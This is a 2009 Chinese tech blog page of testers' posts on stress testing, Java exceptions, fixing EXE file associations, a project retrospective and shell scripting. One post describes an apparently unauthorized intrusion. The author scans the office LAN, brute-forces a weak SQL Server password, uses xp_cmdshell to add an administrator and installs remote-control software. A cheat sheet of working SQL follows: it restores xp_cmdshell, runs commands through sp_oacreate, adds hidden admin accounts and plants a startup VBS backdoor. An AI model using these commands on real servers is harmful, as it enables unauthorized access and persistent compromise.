海是我向往的地方,吸纳和咆哮是他的魅力!!!

发布新日志

  • 压力测试 思路 方法

    evergreen_wang 发布于 2009-06-19 09:14:39

    一个完整的压力测试自然包括方方面面很多东西,在此不那么的详述,我的文笔很差,只能简单的记述一下个人的基本思路。

       压力测试分为如下大概(个人如此)

        (1)确定存量数据的规模(用户一般会要求制造出3-5年的存量数据);


        (2)确定需要进行压力测试的业务(一般是用户使用最频繁,或者业务操作复杂
    的业务);


        (3)确定操作用户的的数量、各类操作用户的比例;


        (4)峰值业务量的要求(一般是1个小时内最多要处理的笔数);


        (5)对实时业务响应时间的要求(如在峰值情况下,单笔业务的处理时间(如小
    于60秒));


        (6)对于批量处理过程的时间要求(如进行日终(月终、年终)处理、与外系统间批量数据传输时的时间)。


        以上信息,通常需要业务人员来确定。
     
       为了进行压力测试的技术准备,需要如下资料:


          (1)系统概要设计(了解系统技术架构,确定测试方法);


          (2)如果自己开发接口程序,需要了解接口报文规范;


          (3)数据库设计(我们需要据此编写程序,准备存量数据)。
            
         为了开发脚本需要了解如下信息:

           (1)操作手册(脚本录入或者手工开发脚本);

           (2)参数化脚本(动态化数据需要进行关联);

           (3)脚本回放(验证脚本是否可以成功的创建数据)。

         测试场景:

           (1)单用户运行压力测试场景;

           (2)多用户运行测试场景,查看系统资源消耗等调优工作开始。

    另外,还有测试环境的事情需要落实。压力测试一般要求环境配置较高,最好
    与生产环境一致或者接近。

      

       
     

  • java exception

    zero_up 发布于 2009-06-12 15:10:11

    关于异常处理的一个问题就是要对何时(when)和如何(how)使用它们做到了然于心。在本文中我将介绍一些关于异常处理的最佳实践,同时我也会涉及到最近争论十分激烈的checked Exception的使用问题。

    作为开发员,我们都希望能写出解决问题并且是高质量的代码。不幸的是,一些副作用(side effects)伴随着异常在我们的代码中慢慢滋生。无庸置疑,没有人喜欢副作用(side effects),所以我们很快就用我们自己的方式来避免它,我曾经看到一些聪明的程序员用下面的方式来处理异常:

    public void consumeAndForgetAllExceptions(){
    try {
    ...some code that throws exceptions
    } catch (Exception ex){
    ex.printStacktrace();
    }
    }

    上边的代码有什么问题么?

    在回答以前让我们想想怎样才是正确的?是的,一旦程序碰到异常,它就该挂起程序而"做"点什么。那么上边的代码是这样子的么?看吧,它隐瞒了什么?它把所有的"苦水"往肚里咽(在控制台打印出异常信息),然后一切继续,从表面上看就像什么都没有发生过一样......,很显然,上边代码达到的效果并不是我们所期望的。

    后来又怎样?

    public void someMethod() throws Exception{
    }

    上边的代码又有什么问题?

    很明显,上边的方法体是空的,它不实现任何的功能(没有一句代码),试问一个空方法体能抛出什么异常?当然Java并不阻止你这么干。最近,我也遇到类似的情景,方法声明会抛出异常,但是代码中并没有任何"机会"来"展示"异常。当我问开发员为什么要这样做的时候,他回答我说"我知道,它确实有点那个,但我以前就是这么干的并且它确实能为我工作。"

    在C++社区曾经花了数年实践来实践如何使用异常,关于此类的争论在 java社区才刚刚开始。我曾经看到许多Java程序员针对使用异常的问题进行争论。如果对于异常处理不当的话,异常可以大大减慢应用程序的执行速度,因为它将消耗内存和CPU来创建、抛出并捕获异常。如果过分的依赖异常处理,代码对易读和易使用这两方面产生影响,以至于会让我们写出上边两处"糟糕"代码。

    异常原理

    大体上说,有三种不同的"情景"会导致异常的抛出:

    l 编程错误导致异常(Exception due Programming errors): 这种情景下,异常往往处于编程错误(如:NullPointerException 或者 IllegalArgumentException),这时异常一旦抛出,客户端将变得无能为力。

    l 客户端代码错误导致异常(Exception due client code errors): 说白点就是客户端试图调用API不允许的操作。

    l 资源失败导致异常(Exception due to resource failures): 如内存不足或网络连接失败导致出现异常等。这些异常的出现客户端可以采取相应的措施来恢复应用程序的继续运行。

    Java中异常的类型

    Java 中定义了两类异常:

    l Checked exception: 这类异常都是Exception的子类

    l Unchecked exception: 这类异常都是RuntimeException的子类,虽然RuntimeException同样也是Exception的子类,但是它们是特殊的,它们不能通过client code来试图解决,所以称为Unchecked exception

    举个例子,下图为NullPointerException的继承关系:

     

    图中,NullPointerException继承自RuntimeException,所以它是Unchecked exception.

    以往我都是应用checked exception多于Unchecked exception,最近,在java社区激起了一场关于checked exception和使用它们的价值的争论。这场争论起源于JAVA是第一个拥有Checked exception的主流OO语言这样一个事实,而C++和C#都是根本没有Checked exception,它们所有的异常都是unchecked。

    一个checked exception强迫它的客户端可以抛出并捕获它,一旦客户端不能有效地处理这些被抛出的异常就会给程序的执行带来不期望的负担。
    Checked exception还可能带来封装泄漏,看下面的代码:

    public List getAllAccounts() throws
    FileNotFoundException, SQLException{
    ...
    }

    上边的方法抛出两个异常。客户端必须显示的对这两种异常进行捕获和处理即使是在完全不知道这种异常到底是因为文件还是数据库操作引起的情况下。因此,此时的异常处理将导致一种方法和调用之间不合适的耦合。



    接下来我会给出几种设计异常的最佳实践 (Best Practises for Designing the API)

    1. 当要决定是采用checked exception还是Unchecked exception的时候,你要问自己一个问题,"如果这种异常一旦抛出,客户端会做怎样的补救?"
    如果客户端可以通过其他的方法恢复异常,那么这种异常就是checked exception;如果客户端对出现的这种异常无能为力,那么这种异常就是Unchecked exception;从使用上讲,当异常出现的时候要做一些试图恢复它的动作而不要仅仅的打印它的信息,总来的来说,看下表:

    Client's reaction when exception happens
    Exception type

    Client code cannot do anything
    Make it an unchecked exception

    Client code will take some useful recovery action based on information in exception
    Make it a checked exception


    此外,尽量使用unchecked exception来处理编程错误:因为unchecked exception不用使客户端代码显示的处理它们,它们自己会在出现的地方挂起程序并打印出异常信息。Java API中提供了丰富的unchecked excetpion,譬如:NullPointerException , IllegalArgumentException 和 IllegalStateException等,因此我一般使用这些标准的异常类而不愿亲自创建新的异常类,这样使我的代码易于理解并避免的过多的消耗内存。

    2. 保护封装性(Preserve encapsulation)

    不要让你要抛出的checked exception升级到较高的层次。例如,不要让SQLException延伸到业务层。业务层并不需要(不关心?)SQLException。你有两种方法来解决这种问题:

    l 转变SQLException为另外一个checked exception,如果客户端并不需要恢复这种异常的话;

    l 转变SQLException为一个unchecked exception,如果客户端对这种异常无能为力的话;

    多数情况下,客户端代码都是对SQLException无能为力的,因此你要毫不犹豫的把它转变为一个unchecked exception,看看下边的代码:
    public void dataAccessCode(){
    try{
    ..some code that throws SQLException
    }catch(SQLException ex){
    ex.printStacktrace();
    }
    }


    上边的catch块紧紧打印异常信息而没有任何的直接操作,这是情有可原的,因为对于SQLException你还奢望客户端做些什么呢?(但是显然这种就象什么事情都没发生一样的做法是不可取的)那么有没有另外一种更加可行的方法呢?

    public void dataAccessCode(){
    try{
    ..some code that throws SQLException
    }catch(SQLException ex){
    throw new RuntimeException(ex);
    }
    }

    上边的做法是把SQLException转换为RuntimeException,一旦SQLException被抛出,那么程序将抛出RuntimeException,此时程序被挂起并返回客户端异常信息。

    如果你有足够的信心恢复它当SQLException被抛出的时候,那么你也可以把它转换为一个有意义的checked exception, 但是我发现在大多时候抛出RuntimeException已经足够用了。

    3. 不要创建没有意义的异常(Try not to create new custom exceptions if they do not have useful information for client code.)

    看看下面的代码有什么问题?

    public class DuplicateUsernameException
    extends Exception {}


    它除了有一个"意义明确"的名字以外没有任何有用的信息了。不要忘记Exception跟其他的Java类一样,客户端可以调用其中的方法来得到更多的信息。

    我们可以为其添加一些必要的方法,如下:

    public class DuplicateUsernameException
    extends Exception {
    public DuplicateUsernameException 
    (String username){....}
    public String requestedUsername(){...}
    public String[] availableNames(){...}
    }



    在新的代码中有两个有用的方法:reqeuestedUsername(),客户但可以通过它得到请求的名称;availableNames(),客户端可以通过它得到一组有用的usernames。这样客户端在得到其返回的信息来明确自己的操作失败的原因。但是如果你不想添加更多的信息,那么你可以抛出一个标准的Exception:

    throw new Exception("Username already taken");
    更甚的情况,如果你认为客户端并不想用过多的操作而仅仅想看到异常信息,你可以抛出一个unchecked exception:

    throw new RuntimeException("Username already taken");

    另外,你可以提供一个方法来验证该username是否被占用。

    很有必要再重申一下,checked exception应该让客户端从中得到丰富的信息。要想让你的代码更加易读,请倾向于用unchecked excetpion来处理程序中的错误(Prefer unchecked exceptions for all programmatic errors)。

    4. Document exceptions.

    你可以通过Javadoc's @throws 标签来说明(document)你的API中要抛出checked exception或者unchecked exception。然而,我更倾向于使用来单元测试来说明(document)异常。不管你采用哪中方式,你要让客户端代码知道你的API中所要抛出的异常。这里有一个用单元测试来测试IndexOutOfBoundsException的例子:

    public void testIndexOutOfBoundsException() {
    ArrayList blankList = new ArrayList();
    try {
    blankList.get(10);
    fail("Should raise an IndexOutOfBoundsException");
    } catch (IndexOutOfBoundsException success) {}
    }



    上边的代码在请求blankList.get(10)的时候会抛出IndexOutOfBoundsException,如果没有被抛出,将fail ("Should raise an IndexOutOfBoundsException")显示说明该测试失败。通过书写测试异常的单元测试,你不但可以看到异常是怎样的工作的,而且你可以让你的代码变得越来越健壮。


    下面作者将介绍界中使用异常的最佳实践(Best Practices for Using Exceptions)
    1. 总是要做一些清理工作(Always clean up after yourself)

    如果你使用一些资源例如数据库连接或者网络连接,请记住要做一些清理工作(如关闭数据库连接或者网络连接),如果你的API抛出Unchecked exception,那么你要用try-finally来做必要的清理工作:

    java 代码
    1. public   void  dataAccessCode(){   
    2. Connection conn =  null ;   
    3. try {   
    4. conn = getConnection();   
    5. ..some code that  throws  SQLException   
    6. } catch (SQLException ex){   
    7. ex.printStacktrace();   
    8.  finally {   
    9. DBUtil.closeConnection(conn);   
    10. }   
    11. }   
    12.   
    13. class  DBUtil{   
    14. public   static   void  closeConnection   
    15. (Connection conn){   
    16. try {   
    17. conn.close();   
    18.  catch (SQLException ex){   
    19. logger.error( "Cannot close connection" );   
    20. throw   new  RuntimeException(ex);   
    21. }   
    22. }   
    23. }   

    DBUtil是一个工具类来关闭Connection.有必要的说的使用的finally的重要性是不管程序是否碰到异常,它都会被执行。在上边的例子中,finally中关闭连接,如果在关闭连接的时候出现错误就抛出RuntimeException.



    2. 不要使用异常来控制流程(Never use exceptions for flow control)

    下边代码中,MaximumCountReachedException被用于控制流程:

    java 代码
    1. public   void  useExceptionsForFlowControl() {   
    2. try  {   
    3. while  ( true ) {   
    4. increaseCount();   
    5. }   
    6.  catch  (MaximumCountReachedException ex) {   
    7. }   
    8. //Continue execution   
    9. }   
    10.   
    11. public   void  increaseCount()   
    12. throws  MaximumCountReachedException {   
    13. if  (count >=  5000 )   
    14. throw   new  MaximumCountReachedException();   
    15. }    

    上边的useExceptionsForFlowControl()用一个无限循环来增加count直到抛出异常,这种做法并没有说让代码不易读,但是它是程序执行效率降低。

    记住,只在要会抛出异常的地方进行异常处理。



    3. 不要忽略异常

    当有异常被抛出的时候,如果你不想恢复它,那么你要毫不犹豫的将其转换为unchecked exception,而不是用一个空的catch块或者什么也不做来忽略它,以至于从表面来看象是什么也没有发生一样。



    4. 不要捕获顶层的Exception

    unchecked exception都是RuntimeException的子类,RuntimeException又继承Exception,因此,如果单纯的捕获Exception,那么你同样也捕获了RuntimeException,如下代码:

    try{
    ..
    }catch(Exception ex){
    }
    一旦你写出了上边的代码(注意catch块是空的),它将忽略所有的异常,包括unchecked exception.

    5. Log exceptions just once

    Logging the same exception stack trace more than once can confuse the programmer examining the stack trace about the original source of exception. So just log it once.

  • 修复被破坏的EXE

    bichenlu 发布于 2009-06-09 10:56:47

    前两天给项目做性能测试的时候,想自己优化下电脑,关闭了一些服务,卸载了一些程序后开始,动文件夹里面的内容,结果发现有一个“工具—文件夹选项—文件类型”里面的设置,还不知道是做什么的,于是新建了一个,将文件扩展名设置为EXE的,然后提交保存。
    结果保存后所有的EXE文件都打不开了,双击没有反映,没有办法,返回去设置了半天都还是不行,最后要绝望的时候发现了一个很强的命令。
    assoc .exe=exefile
    这个命令一输入就可以了(好像你关联了EXE后,连运行输入CMD都没有反映的,你需要先返回“工具—文件夹选项—文件类型”里面删除你的那个设置,但是这样也删除了你的EXE原来的注册,以后每次开每个EXE的时候都需要选择打开方式)

    后来查了一下assoc 的用法,如下
     
      
    利用ASSOC命令修复遭破坏的EXE文件关联
    2006-11-02 16:10
    显示或修改文件扩展名关联

    ASSOC [.ext[=[fileType]]]
    .ext 指定跟文件类型关联的文件扩展名
    fileType 指定跟文件扩展名关联的文件类型

    键入ASSOC而不带参数,显示当前文件关联.
    如果只用文件扩展名称调用ASSOC,则显示那个文件扩展名称的当前文件关联.
    如果不为文件类型指定任何参数,命令会删除文件扩展名称的关联.
    键入Assoc:
    列出系统目前的文件关联信息
    键入Assoc .exe
    显示目前exe扩展名的关联
    键入Assoc .exe=
    删除当前exe关联

    利用ASSOC命令修复遭破坏的EXE文件关联
    出现EXE文件关联出错一般是由于病毒引起的,而杀毒软件基本上都是.EXE文件,所以如果EXE关联出错,杀毒软件也就无法运行了.
    首先查找CMD.EXE文件,并将之改名为CMD.COM,这样才能进入命令行模式.
    输入
    assoc .exe=exefile

    显示:.exe=exefile

    这样EXE文件关联就修复了.

    附:

    注册表解决EXE文件关联丢失的解决方法

      1、修改regedit.exe 为 regedit.com
      2、HKEY_CLASSES_ROOT\exefile\shell\open\command下的default,键值为"%1" %*。

      另外,exe程序关联问题,在注册表下的HKEY_LOCAL_MACHINE\Software\Microsoft\windowsNT\currentVersion\winlogon
      下面有个名为shell的子项,键值应为explorer.exe。


    所以如果病毒改了你的exe关联,你可以用它改回来,个人觉得现在病毒横行的年代很有用,写下来,希望可以帮到以后碰到同样问题的同事。

     

  • 近期项目测试总结1

    bichenlu 发布于 2009-06-09 10:51:14

    最近发现自己的技术没有什么提高,在测试过程中还是没有吸取以前的经验教训,导致有些问题老是重复的出现在测试过程中,导致了项目周期的延长。

    现在总结的这个项目是我进入公司后一直进行测试的项目,到现在已经一年多了。

    当时进入公司时,这个项目已经完成需求调研,已经本开始准备单元测试。

    首先是项目测试初期。对项目不熟悉,基本工作就是熟悉系统,完全的黑盒测试,且当时没有一点关于这个项目的行业知识(个是做的物流系统),所以那个星期做的数据只能围绕着点击报错这样的BUG进行。且此项目规模比较大,无法根据开发人员给的文档来了解这个系统。所以这个阶段的测试其实比较没有什么技术含量。

    之后自己熟悉了系统,然后开始一些模块以及流程的测试,这时对系统功能已经熟悉了,进行了简单的单元测试,这个阶段用时还是比较少。

    单元测试完成后,进入的就是集成测试阶段,这时候问题就来了。

    第一次的集成测试。这时测试人员只是知道系统子功能的实现,对一些基础资料可以进行维护,之前也没有与开发人员沟通需求,所以在这次的集成测试中,测试人员根本无法进行完整的模拟正常业务进行测试。也只是类似于单元测试阶段进行测试。且公司是几个项目一起进行,对此项目的测试时断时续,这样也不便于测试人员向开发人员了解需求。往往沟通了这个模块的问题,然后就进行了其他系统的测试,这样很影响进度。
    后来我将开发人员与我沟通的需求记录在文档中(因为需求不明确),这样稍微便捷的了解了需求。
    同时在测试过程中与开发人员的沟通,还存在着一个问题。
    开发人员只是关注于其所开发的模块的实现,对于其他模块的与此模块的关联关系也了解的很少。比如在测试空运出口时,对空运出口以哪个重量来计算成本的问题,由于这个问题涉及到几个模块,开发人员对这些也是似懂非懂,这样又必须与项目经理沟通。。。。。

    第一次集成测试完成后,陆续又测试了公司的几个其他的系统。
    紧接着进行了第二轮的测试,这时可以做一些比较正常的数据。
    这个阶段主要对系统的流程进行测试,发现的BUG也主要围绕着公司平台功能和一些比较浅显的业务,这个阶段稍微比前段时间轻松。(不过我一直后悔,这段时间应该写好测试用例来的)

     

  • 记一次无意的侵入测试

    bichenlu 发布于 2009-06-09 11:38:09

    前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。
    有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。
    公司的软件是C/S的系统,连接的是sqlserver数据库。sqlserver数据库有漏洞这个是早有耳闻,所以就从sqlserver开始下手。
    首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,sqlserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了一个简单的暴力破解软件,破解了密码。
    哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!
    既然进来了,没事就继续逛逛吧,记得sqlserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

    附:xp_cmdshell的一些简单使用(其他网友经验)

    开启cmdshell的SQL语句

    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    恢复xp_cmdshell
    Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    返回结果为1就OK

    否则上传xplog7.0.dll
    Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

    扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
    这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了

    使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
    运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
    sp_dropextendedproc "xp_cmdshell"
    就执行不了DOS命令了,当然用上面的语句可以复原。

    用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
    怎么解决????
    上传文件也不行。。。
    1 未能找到存储过程'master..xpcmdshell'。

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

    恢复方法:查询分离器连接后,

    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕。

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕。

    四.终极方法:

    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

    查询分离器连接后,

    2000servser系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output
    exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
    @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

    还不行就没办法了

    方法1:查询分离器连接后执行:
    if exists (select * from
    dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
    OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

    GO

    然后按F5键命令执行完毕

    方法2:查询分离器连接后
    第一步执行:use master
    第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕


    1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:查询分离器连接后,
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
    然后按F5键命令执行完毕

    四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    1,查询分离器连接后,
    2000servser系统:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'

    或者可以

    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX为你要执行的命令


    有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

    解决方法:

    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    GO
    这段代码贴入查询分离器,执行


    1.突破xplog70.dll

    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'
    declare @cmd INT
    exec sp_oacreate 'wscript.shell',@cmd output
    exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

    2.恢复xp_cmdshell
    先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
    结果发现xpsql70.dll被删除。

    然后写vbs文件到启动组里面:
    declare @o int, @f int, @t int, @ret int ,@a int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out,
    'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'set wshshell=createobject("wscript.shell")'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
    exec @ret = sp_oamethod @f, 'writeline', NULL,
    'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

    3.去除SA的xp_cmdshell权限
    如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
    use master
    sp_dropextendedproc 'xp_cmdshell'
    xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

    4.上传xplog7.0.dll:

    exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

     

  • Linux下的shell编程入门(2)

    jieran805 发布于 2009-03-05 21:52:46

    1.建立和运行shell程序
    什么是shell程序呢? 简单的说shell程序就是一个包含若干行
    shell或者linux命令的文件.
    象编写高级语言的程序一样,编写一个shell程序需要一个文本编辑器.如VI等.
    在文本编辑环境下,依据shell的语法规则,输入一些shell/linux命令行,形成一个完整
    的程序文件.
    执行shell程序文件有三种方法
    (1)#chmod +x file(在/etc/profile中,加入export PATH=${PATH}:~/yourpath,就可以在命令行下直接运行,像执行普通命令一样)
    (2)#sh file
    (3)# . file
    (4)#source file
    在编写shell时,第一行一定要指明系统需要那种shell解释你的shell程序,如:#! /bin/bash,
    #! /bin/csh,/bin/tcsh,还是#! /bin/pdksh .
    2.shell中的变量
    (1)常用系统变量
         $ #        :保存程序命令行参数的数目
         $ ?        :保存前一个命令的返回码
         $ 0        :保存程序名
         $ *        :以("$1 $2...")的形式保存所有输入的命令行参数
         $ @        :以("$1""$2"...)的形式保存所有输入的命令行参数
    (2)定义变量
       shell语言是非类型的解释型语言,不象用C++/JAVA语言编程时需要事先声明变量.给一
    个变量赋值,实际上就是定义了变量.
       在linux支持的所有shell中,都可以用赋值符号(=)为变量赋值.
    如:
    abc=9 (bash/pdksh不能在等号两侧留下空格 )
    set abc = 9 (tcsh/csh)
       由于shell程序的变量是无类型的,所以用户可以使用同一个变量时而存放字符时而存放
    整数.
    如:
    name=abc (bash/pdksh)
    set name = abc (tcsh)
    在变量赋值之后,只需在变量前面加一个$去引用.
    如:
    echo $abc
    (3)位置变量
    当运行一个支持多个命令行参数的shell程序时,这些变量的值将分别存放在位置变量里.
    其中第一个参数存放在位置变量1,第二个参数存放在位置变量2,依次类推...,shell保留
    这些变量,不允许用户以令外的方式定义他们.同别的变量,用$符号引用他们.

    3.shell中引号的使用方法
    shell使用引号(单引号/双引号)和反斜线("\")用于向shell解释器屏蔽一些特殊字符.
    反引号(")对shell则有特殊意义.
    如:
    abc="how are you" (bash/pdksh)
    set abc = "how are you" (tcsh)
    这个命令行把三个单词组成的字符串how are you作为一个整体赋值给变量abc.
    abc1='@LOGNAME,how are you!' (bash/pdksh)
    set abc1='$LOGNAME,how are you!' (tcsh)
    abc2="$LOGNAME,how are you!" (bash/pdksh)
    set abc2="$LOGNAME,how are you!" (tcsh)
    LOGNAME变量是保存当前用户名的shell变量,假设他的当前值是:wang.执行完两条命令后,
    abc1的内容是:$LOGNAME, how are you!.而abc2的内容是;wang, how are you!.
    象单引号一样,反斜线也能屏蔽所有特殊字符.但是他一次只能屏蔽一个字符.而不能屏蔽
    一组字符.
    反引号的功能不同于以上的三种符号.他不具有屏蔽特殊字符的功能.但是可以通过他将
    一个命令的运行结果传递给另外一个命令.
    如:
    contents=`ls` (bash/pdksh)
    set contents = `ls` (tcsh)
    4.shell程序中的test命令
    在bash/pdksh中,命令test用于计算一个条件表达式的值.他们经常在条件语句和循环
    语句中被用来判断某些条件是否满足.
    test命令的语法格式:
    test expression
    或者
    [expression]

    在test命令中,可以使用很多shell的内部操作符.这些操作符介绍如下:
    (1)字符串操作符 用于计算字符串表达式
    test命令    |    含义
    -----------------------------------------
    Str1 = str2 | 当str1与str2相同时,返回True
    Str1! = str2| 当str1与str2不同时,返回True
         Str      | 当str不是空字符时,返回True
        -n str    | 当str的长度大于0时,返回True
        -z str    | 当str的长度是0时,返回True
    -----------------------------------------
    (2)整数操作符具有和字符操作符类似的功能.只是他们的操作是针对整数
    test表达式   |    含义
    ---------------------------------------------
    Int1 -eq int2|当int1等于int2时,返回True
    Int1 -ge int2|当int1大于/等于int2时,返回True
    Int1 -le int2|当int1小于/等于int2时,返回True
    Int1 -gt int2|当int1大于int2时,返回True
    Int1 -ne int2|当int1不等于int2时,返回True
    -----------------------------------------
    (3)用于文件操作的操作符,他们能检查:文件是否存在,文件类型等
    test表达式   |    含义
    ------------------------------------------------
    -d file      |当file是一个目录时,返回 True
    -f file      |当file是一个普通文件时,返回 True
    -r file      |当file是一个刻读文件时,返回 True
    -s file      |当file文件长度大于0时,返回 True
    -w file      |当file是一个可写文件时,返回 True
    -x file      |当file是一个可执行文件时,返回 True
    ------------------------------------------------
    (4)shell的逻辑操作符用于修饰/连接包含整数,字符串,文件操作符的表达式
    test表达式    |    含义
    ----------------------------------------------------------
    ! expr        |当expr的值是False时,返回True
    Expr1 -a expr2|当expr1,expr2值同为True时,返回True
    Expr1 -o expr2|当expr1,expr2的值至少有一个为True时,返回True
    -----------------------------------------------------------
    注意:
    tcsh shell 不使用test命令,但是tcsh中的表达式同样能承担相同的功能.tcsh
    支持的表达式于C中的表达式相同.通常使用在if和while命令中.
    tcsh表达式    |    含义
    -------------------------------------------------------
    Int1 <= int2 |当int1小于/等于int2时,返回True
    Int1 >= int2 |当int1大于/等于int2时,返回True
    Int1 < int2   |当int1小于int2时,返回True
    Int1 > int2   |当int1大于int2时,返回True
    Str1 == str2 |当str1与str2相同时,返回True
    Str1 != str2 |当str1与str2不同时,返回True
    -r file       |当file是一个可读文件时,返回True
    -w file       |当file是一个可写文件时,返回True
    -x file       |当file是一个可执行文件时,返回True
    -e file       |当file存在时,返回True
    -o file       |当file文件的所有者是当前用户时,返回True
    -z file       |当file长度为0时,返回True
    -f file       |当file是一个普通文件时,返回True
    -d file       |当file是一个目录时,返回True
    Exp1 || exp2 |当exp1和exp2的值至少一个为True时,返回True
    Exp1 && exp2 |当exp1和exp2的值同为True时,返回True
    ! exp         |当exp的值为False时,返回True
  • 问题解决了

    jieran805 发布于 2009-02-27 11:35:48

